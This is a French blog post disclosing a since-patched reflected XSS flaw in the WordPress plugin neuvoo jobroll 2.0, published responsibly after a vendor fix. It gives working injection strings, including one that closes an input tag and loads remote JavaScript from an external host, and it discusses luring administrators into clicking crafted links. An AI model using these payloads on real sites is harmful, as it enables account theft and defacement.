Skip to content

[RXSS] Plugin WordPress neuvoo jobroll 2.0

Depuis peu, je me suis lancé dans la recherche de failles de sécurité. Je suis parvenu à exploiter une faille de type Reflected XSS (Cross-Site Scripting) dans le plugin WordPress neuvoo jobroll.

L’occasion pour moi d’écrire un article à ce sujet, d’expliquer le principe d’une faille RXSS et de détailler ma démarche sur la vulnérabilité présente dans ce plugin WordPress.

En piste ! Neuvoo, c’est quoi ?

Pour présenter rapidement ce plugin, il s’agit donc d’un plugin écrit par l’équipe de développement de Neuvoo. Neuvoo est une boite Canadienne spécialisée dans la recherche d’emploi : Neuvoo.ca

Pour ceux qui connaissent TripAdvisor pour les hôtels, Neuvoo tend à faire la même chose pour les recherches d’emplois dont il agrège les parutions auprès de différents sites pour rendre la recherche plus efficace et centralisée.

Neuvoo possède donc un site web sur lequel il est possible d’effectuer sa recherche d’emploi avec certains critères.

Cependant, l’équipe de Neuvoo a également créé un plugin permettant d’effectuer une recherche depuis n’importe quel site WordPress. La recherche est donc faite depuis un WordPress, envoyée aux serveurs centraux de Neuvoo qui répondent en renvoyant les offres correspondantes, les résultats sont ensuite affichés dans la page WordPress. L’utilisateur profite donc de la centralisation de Neuvoo tout en faisant sa recherche depuis son site web ou blog favori.

C’est justement ce plugin, dans sa version 2.0, qui présente une vulnérabilité de type Reflected XSS.

Un petit mot sur les failles RXSS

Je vous ai déjà brièvement parlé des failles XSS (Reflected XSS et Stored XSS) dans mon article détaillant les solutions DVWA qui, soit dit en passant, est un excellent moyen de se former sur le sujet.

Pour les curieux, voici le lien : DVWA (4/4) : Solutions, explications et étude des protections

La particularité des failles RXSS est donc qu’elles sont réfléchies, c’est à dire qu’elles s’affichent en fonction de la requête envoyée par le client. Ici la réponse faite par le serveur doit être vue comme un « miroir » de ce qui est demandé dans la requête. Si je demande « A », le serveur répond « Voici A ».

Une faille RXSS n’est donc pas permanente et n’est même visible que par les clients envoyant une certaine chaîne de caractères spécialement conçue pour que sa réponse génère l’exécution de code Javascript. La possibilité d’exécuter des instructions dans le navigateur du client permet à un attaquant d’effectuer bien des actions comme l’extraction d’informations présentes sur poste/dans le navigateur du client par exemple. Le Javascript est un langage possédant de nombreuses possibilités comme celles de complètement remplacer l’affichage normal du site visé par un autre, on parle alors de défaçage.

Les failles RXSS n’étant pas permanentes mais présentes en fonction de la requête envoyée, on pourrait se demander quel genre d’utilisateur pourrait être assez bête pour se piéger lui même. Mais ce n’est pas comme cela qu’il faut voir les choses. Souvent l’exploitation d’une faille RXSS se fait par l’incitation à cliquer sur un lien pour exécuter la requête forgée avec une RXSS à l’intérieur. On peut alors faire cliquer un administrateur du site visé sur un lien pour que du code Javascript soit exécuté par son navigateur et nous renvoie des informations sensibles par exemple.

De nombreux moyens sont utilisés pour inciter les utilisateurs à générer ces requêtes une fois qu’une RXSS est trouvée. Le plus souvent, on va inciter l’utilisateur à cliquer en lui faisant croire qu’il y a quelque chose de très intéressant au bout du lien.

Je ne les détaillerai pas ici, mais il existe de nombreuse techniques très intéressantes à ce sujet, voici un excellent article : Technique social engineering XSS

Vous vous attendiez à un article intéressant et vous êtes arrivé sur Google ? Voila une des méthodes utilisées pour piéger un utilisateur, sauf que dans un contexte réel, l’URL finale aurait été une URL exploitant une faille RXSS sur le site visé 😉

Bref, beaucoup de sources d’informations expliqueront plus en détail ce genre de faille, je remarque que les failles de type XSS sont vraiment très répandues sur un grand nombre de sites et applications web.

Détail technique et Proof of Concept

On passe à la technique !

Pour vous présenter rapidement le fonctionnement de ce plugin côté WordPress et utilisateur, je commence par effectuer une recherche standard sur ce formulaire HTTP :
rxss-neuvoo-jobroll-plugin-01Voici son code source :

Je cherche donc à devenir « Président de la république » en « France« . Ma requête ne génère aucun résultat, mais bon, voici l’URL générée :

http://192.168.1.11/sample-page/?neuvoo_location=France&neuvoo_keywords=Pr%C3%A9sident+de+la+r%C3%A9publique&neuvoo_page=1

On retrouve donc les paramètres « neuvoo_location » et « neuvoo_keywords » avec le contenu de ma recherche. Côté code source :

On peut ici observer que le contenu de ma recherche est directement utilisé pour pré-remplir le formulaire suivant, dans le but d’une prochaine recherche par exemple. Cela signifie plus clairement que tout ce qui sera saisie dans ma recherche réapparaîtra dans le code source de la page de réponse. Intéressant, que se passe t-il si j’injecte une balise HTML ? Je test avec la balise « h1 » permettant de mettre le contenu entre les balises en titre 1 bien visible. Je l’insère dans les deux paramètres GET et voici l’URL générée :

http://192.168.1.11/sample-page/?neuvoo_location=%3Ch1%3Erecherche+02%3C%2Fh1%3E&neuvoo_keywords=%3Ch1%3Erecherche+01%3C%2Fh1%3E&neuvoo_page=1

Et la réponse que j’obtiens :
rxss-neuvoo-jobroll-plugin-04
Autrement dit rien du tout ! Regardons ce qu’il se passe dans le code source :
rxss-neuvoo-jobroll-plugin-05
Le « code » HTML est bien passé en entier mais il n’est pas interprété car positionné entre deux double quotes. On va donc essayer de s’extraire de ces quotes en y mettant fin via notre chaîne de recherche, on en profitera pour mettre fin à la balise « input » dans laquelle nous nous situons :

"><h1>marecherche</h1>

Voila qui est plus intéressant :
rxss-neuvoo-jobroll-plugin-06
Mon code HTML est ici bien interprété, dans le code source, on peut voir que je me suis bien échappé du champ « value » et de la balise « input« , mon code HTML est donc ensuite lu et interprété.

La prochaine étape est donc de rendre mon code HTML utile et intéressant, il existe une balise permettant d’inclure un code JavaScript qui sera donc ensuite, en toute logique, interprété, il s’agit de la balise « script« , je fais le test suivant :

"><script>alert("XSS es tu là ?") </script>

Voici le retour obtenu :
rxss-neuvoo-jobroll-plugin-07
On voit donc que toutes nos double quotes sont échappées, cela ne pose pas problème pour la première car le caractère d’échappement « \ » devient le contenu du champ « value« . Mais pour les autres, cela rend notre cote inexécutable. Il faut donc trouver un moyen d’inclure du code JavaScript sans utiliser de double quotes. On peut passer par l’include d’un script JavaScript distant via la syntaxe suivante :

<script type=text/javascript src=http://siteweb/script.js>

J’ai donc mis en place un script JavaScript sur un site web avec ce contenu :

window.onload = function(){
	alert("1");
};

Ce code JavaScript s’exécute dès son chargement et affiche le texte contenu via la fonction « alert« , cela affichera donc une pop-up sur l’écran de l’utilisateur. Il s’agit d’un moyen efficace pour tester et détecter la présence de vulnérabilité de type XSS.

ependant dans un contexte d’exploitation réel, le code JavaScript n’affiche rien à l’écran mais exécute tout de même des instructions.

Voici l’exploit à charger dans un des deux paramètres (neuvoo_keywords ou neuvoo_location) en utilisant une telle syntaxe :

"><script type=text/javascript SRC=https://ogma-sec.fr/xss.js>

Et avec cette syntaxe, voici la réponse obtenue :


Côté code source :
rxss-neuvoo-jobroll-plugin-09
On peut donc voir que la balise « input » est bien fermée, ce qui permet au code HTML suivant de bien être interprété. On insère donc ensuite un script JavaScript contenant nos instructions. Ce script est téléchargé par le client (navigateur du visiteur) et exécute du code côté client. Le reste de la page est cassée car nous n’avons pas fait cela proprement. Nous aurions pu en effet ré ouvrir une balise HTML pour que le code suivant notre injection ait du sens. Cela est souvent opéré lors d’un contexte d’exécution réel d’une attaque pour que le code JavaScript exécuté passe inaperçu aux yeux des visiteurs.

Voici une petite vidéo illustrant l’exploitation de cette faille :

Pour information, ce plug-in est d’ailleurs présent sur mon autre site web (avec une version corrigée à présent, bien entendu) : IT-Connect.fr

J’ai donc pu contribuer à la correction de ce plug-in en entrant en contact avec l’équipe de développement. La parution de l’advisory publique et de cet article fait suite à la parution d’une correction, j’encourage les blogueurs et web-masters utilisant ce plugin à effectuer cette mise à jour !

Advisory publique : https://packetstormsecurity.com/files/134240/wpneuvoojobroll-xss.txt

Je salue la réactivé de l’équipe de développement Neuvoo pour la correction de cette faille XSS et la mise à disposition d’une nouvelle version du plugin Neuvoo Jobroll

Partager :
Published inAdvisory et Contributions

One Comment

  1. holly

    Bonjour,
    Merci pour ce tuto bien expliqué et détaillé concernant la recherche de vulnérabilité cependant quelle version de wordpress utilises-tu ? le plugin vulnerable est-il disponible pour tester ?
    Je te remercie
    Holly

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *